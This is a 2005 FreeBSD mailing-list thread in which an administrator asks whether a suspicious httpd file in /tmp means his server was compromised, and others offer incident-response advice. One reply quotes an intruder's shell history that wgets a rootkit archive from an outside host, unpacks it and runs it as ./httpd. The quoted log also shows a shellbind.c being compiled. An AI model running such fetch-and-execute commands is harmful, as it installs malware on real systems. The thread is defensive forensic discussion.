httpd in /tmp - Sound advice sought

[Oliver Leitner]

not from the log output you just showed, id look back further on the 
webserver logs, and also take a look on other running processes on your 
server, ps auxf ...

other good tools to find installed rootkits:

rkhunter (youll find that in the ports collection, at least on a 5.3)
sockstat.c (easy to find via google)
and have a close look into your /proc fs, in case you have a procfs mounted.

also check your webserver for world writeable directories, and for cross site 
scripting problems, that wget was called from the webserver looks like some 
kind of bug in a script, that is used by a webpage, that the attacker tried 
to use...

On Wednesday 09 February 2005 18:41, Bret Walker wrote:
> Thanks for letting me know.
>
> I found this in the my httpd error log:
>
> [Fri Jan 14 13:06:06 2005] [error] [client 129.xxx.xxx.xxx] File does not
> exist: /usr/local/www/data/favicon.ico
> wget: permission denied
> ./httpd: not found
> shellbind.c: In function `main':
> shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
> pointer without a cast
> shellbind.c: In function `main':
> shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
> pointer without a cast
> ./httpd: permission denied
> ./httpd: permission denied
> shellbind.c: In function `main':
> shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
> pointer without a cast
> ./httpd: permission denied
> shellbind.c: In function `main':
> shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
> pointer without a cast
> ./httpd: permission denied
> shellbind.c: In function `main':
> shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
> pointer without a cast
> [Fri Jan 14 21:40:12 2005] [error] [client 195.92.95.15] File does not
> exist: /usr/local/www/data-dist/xyzzy
> [Fri Jan 14 21:40:21 2005] [error] [client 195.92.95.15] File does not
> exist: /usr/local/www/data-dist/xyzzy
> [Sat Jan 15 21:36:33 2005] [error] [client 195.92.95.15] File does not
> exist: /usr/local/www/data-dist/xyzzy
> [Sun Jan 16 21:54:06 2005] [error] [client 195.92.95.15] File does not
> exist: /usr/local/www/data-dist/xyzzy
> [Sun Jan 16 23:58:22 2005] [error] mod_ssl: SSL handshake interrupted by
> system [Hint: Stop button pressed in browser?!] (System error follows)
> [Sun Jan 16 23:58:22 2005] [error] System: Connection reset by peer
> (errno: 54)
>
> I also found shellbind.c in my /tmp directory.  Is there a way to tell
> what type of exploit was used to get these files on my system (ie OpenSSL
> / PHP register_globals)?
>
> I've been monitoring this server from a port that mirrors its traffic
> using Ethereal, and all seems to be okay now.  I also cvsuped -Rr my
> apache+mod_ssl install.
>
> Thanks,
> Bret
>
> -----Original Message-----
> From: owner-freebsd-questions at freebsd.org
> [mailto:owner-freebsd-questions at freebsd.org] On Behalf Of Oliver Leitner
> Sent: Wednesday, February 09, 2005 8:48 AM
> To: Bret Walker; freebsd-questions at freebsd.org
> Subject: Re: httpd in /tmp - Sound advice sought
>
>
> i know a certain hacking group who is trying to run their trojan as httpd,
> i
> discovered that info through some shell account i am running, that has
> tried
> to start this rootkit on our machine.
>
> heres a short view from the shell's history:
>
> ---------------------
> wget geocities.com/setan_maya/taek.tar.gz
> cd ..
> ls
> cd ..
> ls
> cd tmp
> ls
> wget geocities.com/setan_maya/taek.tar.gz
> tar zxvf taek.tar.gz
> ls
> cd taek
> ./httpd
> chmod 755 httpd
> ./httpd
> ls
> cd ..
> rm -rf taek
> rm taek.tar.gz
> -----------------------
>
> this clearly shows, that we have to do with a very dumb person, hence he
>
> 1. didnt cleaned his historyfile
> 2. left the tar.gz file in his homedir
> 3. loaded the rootkit from the same server he is running the group's
> webpage
> on.
> 4. has a link to their chan on that page, and in the chan as ive monitored
>
> for 48hrs, ive found them posting their "successes" directly and
> unencrypted.
>
> I have informed a number of providers and hosters, that had their webpage
> posted into that chan, and informed them about the breakins, so far i got
> no
> message back from them.
>
> of course, its a longshot, but they didnt seem to check first if the
> folder
> tmp has the executable bit set at all, and they named their client like
> the
> file youve found.
>
> i hope this helps you further.
>
> Greetings
> Oliver Leitner
> Technical Staff
> http://www.shells.at
>
> On Tuesday 08 February 2005 14:35, Bret Walker wrote:
> > Last night, I ran chkrootkit and it gave me a warning about being
> > infected with Slapper.  Slapper exploits vulnerabilities in OpenSSL up
> > to version 0.96d or older on Linux systems.  I have only run 0.97d.
> > The file that set chkrootkit off was httpd which was located in /tmp.
> > /tmp is always mounted rw, noexec.
> >
> > I update my packages (which are installed via ports) any time there is
> > a security update.  I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl
> > 2.8.22/OpenSSL 0.97d on 4.10.  Register_globals was on in PHP for a
> > couple of weeks, but the only code that required it to be on was in a
> > .htaccess/SSL password protected directory.
> >
> > Tripwire didn't show anything that I noted as odd.  I reexamined the
> > tripwire logs, which are e-mailed to an account off of the machine
> > immediately after completion, and I don't
> > see anything odd for the 3/4 days before or after the date on the file.
> > (I don't scan /tmp)
> >
> > I stupidly deleted the httpd file from /tmp, which was smaller than
> > the actual apache httpd.  And I don't back up /tmp.
> >
> > The only info I can find regarding this file being in /tmp pertains to
> > Slapper.  Could something have copied a file there?  Could I have done
> > it by mistake at some point - the server's been up ~60 days, plenty of
> > time for me to forget something?
> >
> > This is production box that I very much want to keep up, so I'm
> > seeking some sound advice.
> >
> > Does this box need to be rebuilt?  How could a file get written to
> > /tmp, and is it an issue since it couldn't be executed?  I run
> > tripwire nightly, and haven't seen anything odd to the best of my
> > recollection.  I also check ipfstat -t frequently to see if any odd
> > connections are happening.
> >
> > I appreciate any sound advice on this matter.
> >
> > Thanks,
> > Bret

-- 
By reading this mail you agree to the following:

using or giving out the email address and any 
other info of the author of this email is strictly forbidden.
By acting against this agreement the author of this mail 
will take possible legal actions against the abuse.